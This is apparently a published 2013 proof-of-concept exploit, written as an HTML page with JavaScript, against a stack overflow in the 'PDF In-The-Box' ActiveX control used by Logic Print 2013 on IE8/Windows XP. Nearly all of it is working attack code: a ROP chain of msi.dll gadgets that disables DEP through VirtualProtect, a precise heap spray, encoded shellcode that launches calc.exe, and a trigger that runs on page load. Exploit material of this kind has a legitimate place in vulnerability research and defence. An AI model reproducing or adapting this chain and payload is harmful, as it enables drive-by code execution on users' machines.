Logic Print 2013 – vTable Overwrite Stack Overflow
<!-- Exploit Title: Logic Print 2013 stack overflow (vTable overwrite) Software Link: http://www.logic-print.com/ Tested on: Win XP SP3 French + Internet Explorer 8 Date: 29/05/2013 Author: h1ch4m (Hicham Oumounid) Email: h1ch4m@live.fr Twitter: @o_h1ch4m Thanks to corelanc0d3r for: "DEPS" - Precise heap spray for FF/IE8/IE9/IE10 Well, the bug isn't in the app itself, but in a third party dll "PDF In-The-Box" from http://www.synactis.com Logic Print 2013 uses an old version of the dll, new ones aren't affected, the ROP is from an os dll: [msi.dll] (C:\WINDOWS\system32\msi.dll) 3.1.4001.5512 --> <html> <head> <OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="xploit"></OBJECT> </head> <body OnLoad="xploit();"> <div id="blah"></div> <script language="javascript"> var rop = ""; var shellcode = ""; var junk1 = ''; var junk2 = ''; function theMagicalMysteryTour() { rop = unescape("%u2230%u2030" + ///////////////////////////////////////////// /// STACK PIVOT /// ///////////////////////////////////////////// "%u370d%u7d20" + // 0x7d20370d : # XCHG EAX,ESP # ADD DWORD PTR DS:[EAX],EAX # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04 ** [msi.dll] ** | ascii "%u4141%u4141" + "%u0116%u7d2e" + // 0x7d2e0116 : # RETN ** [msi.dll] ** | ascii "%u4141%u4141" + ///////////////////////////////////////////// /// ECX = lpOldProtect (ptr to W address) /// ///////////////////////////////////////////// "%u1815%u7d21" + // 0x7d211815 : # POP ECX # RETN [msi.dll] "%u4070%u7D3B" + // 0x7D3B4070 : # &Writable location [msi.dll] ///////////////////////////////////////////// /// EDX = NewProtect (0x40) /// ///////////////////////////////////////////// "%u9c86%u7d27" + // 0x7d279c86 : # POP EAX # RETN ** [msi.dll] "%uFFC0%uFFFF" + // 0xFFFFFFBF "%u66d7%u7d2e" + // 0x7d2e66d7 : # NEG EAX # RETN 0x04 ** [msi.dll] "%u23dc%u7d20" + // 0x7d2023dc : # XCHG EAX,EDX # RETN ** [msi.dll] "%u4141%u4141" + ///////////////////////////////////////////// /// EBX = dwSize /// ///////////////////////////////////////////// "%u9c86%u7d27" + // 0x7d279c86 : # POP EAX # RETN ** [msi.dll] "%uFAFF%uFFFF" + // 0xFFFFFAFF "%u66d7%u7d2e" + // 0x7d2e66d7 : # NEG EAX # RETN 0x04 ** [msi.dll] "%u29ac%u7d24" + // 0x7d2429ac : # XCHG EAX,EBX # OR EAX,14C48300 # POP EBP # RETN 0x08 ** [msi.dll] "%u4141%u4141" + "%u4141%u4141" + "%u0116%u7d2e" + // 0x7d2e0116 : # RETN ** [msi.dll] ** | ascii "%u4141%u4141" + "%u4141%u4141" + ///////////////////////////////////////////// /// ESI = ptr to VirtualProtect() /// /// EBP = ReturnTo (ptr to jmp esp) /// ///////////////////////////////////////////// "%u9c86%u7d27" + // 0x7d279c86 : # POP EAX # RETN ** [msi.dll] "%u1318%u6358" + // 0x63581318 : # ptr to VirtualProtect() [mshtml.dll] "%uf84a%u7d3a" + // 0x7d3af84a : # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [msi.dll] "%u0622%u7d36" + // 0x7d360622 : # PUSH EAX # POP ESI # POP EBP # RETN 0x04 ** [msi.dll] "%ub275%u7d24" + // 0x7d24b275 : # jmp esp ///////////////////////////////////////////// /// EDI = ROP NOP (RETN) /// ///////////////////////////////////////////// "%u2669%u7d20" + // 0x7d202669 : # POP EDI # RETN ** [msi.dll] "%u4141%u4141" + "%u0116%u7d2e" + // 0x7d2e0116 : # RETN ** [msi.dll] ** | ascii ///////////////////////////////////////////// /// EAX = NOP (0x90909090) /// ///////////////////////////////////////////// "%u9c86%u7d27" + // 0x7d279c86 : # POP EAX # RETN ** [msi.dll] "%u9090%u9090" + ///////////////////////////////////////////// /// PUSH IT & GET IT /// ///////////////////////////////////////////// "%uc08e%u7d27" + // 0x7d27c08e : # PUSHAD # RETN ** [msi.dll] ""); // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" + "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" + "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" + "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" + "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" + "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" + "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" + "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" + "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" + "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" + "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" + "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" + "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" + "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" + "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" + "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" + "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" + "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" + "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" + "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" + "%u314e%u7475%u7038%u7765%u4370"); } function DEPS() { var div_container = document.getElementById("blah"); div_container.style.cssText = "display:none"; var data; offset = 0x104; junk = unescape("%u2020%u2020"); while (junk.length < 0x1000) junk += junk; data = junk.substring(0,offset) + rop + shellcode data += junk.substring(0,0x800-offset-rop.length-shellcode.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x450; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,0x40000-0x58); div_container.appendChild(obj); } } function xploit() { theMagicalMysteryTour(); DEPS(); // MOV EAX,DWORD PTR SS:[EBP-10]; the stack is overflowed, ebp-10 is put in eax then >>>>|| // MOV ECX,DWORD PTR DS:[EAX]; || // CALL DWORD PTR DS:[ECX-4]; BOOOOOOOOOOOM <<<<|| EAX = "\x28\x22\x30\x20"; // 0x20302228 heap adress " Corelan "DEPS" - Precise heap spray " while (junk1.length < 189) junk1 += "\x41"; while (junk2.length < 7000) junk2 += "\x41"; var xploit = document.getElementById("xploit"); xploit.ConnectToSynactis(junk1+EAX+junk2); } </script> </body> </html> |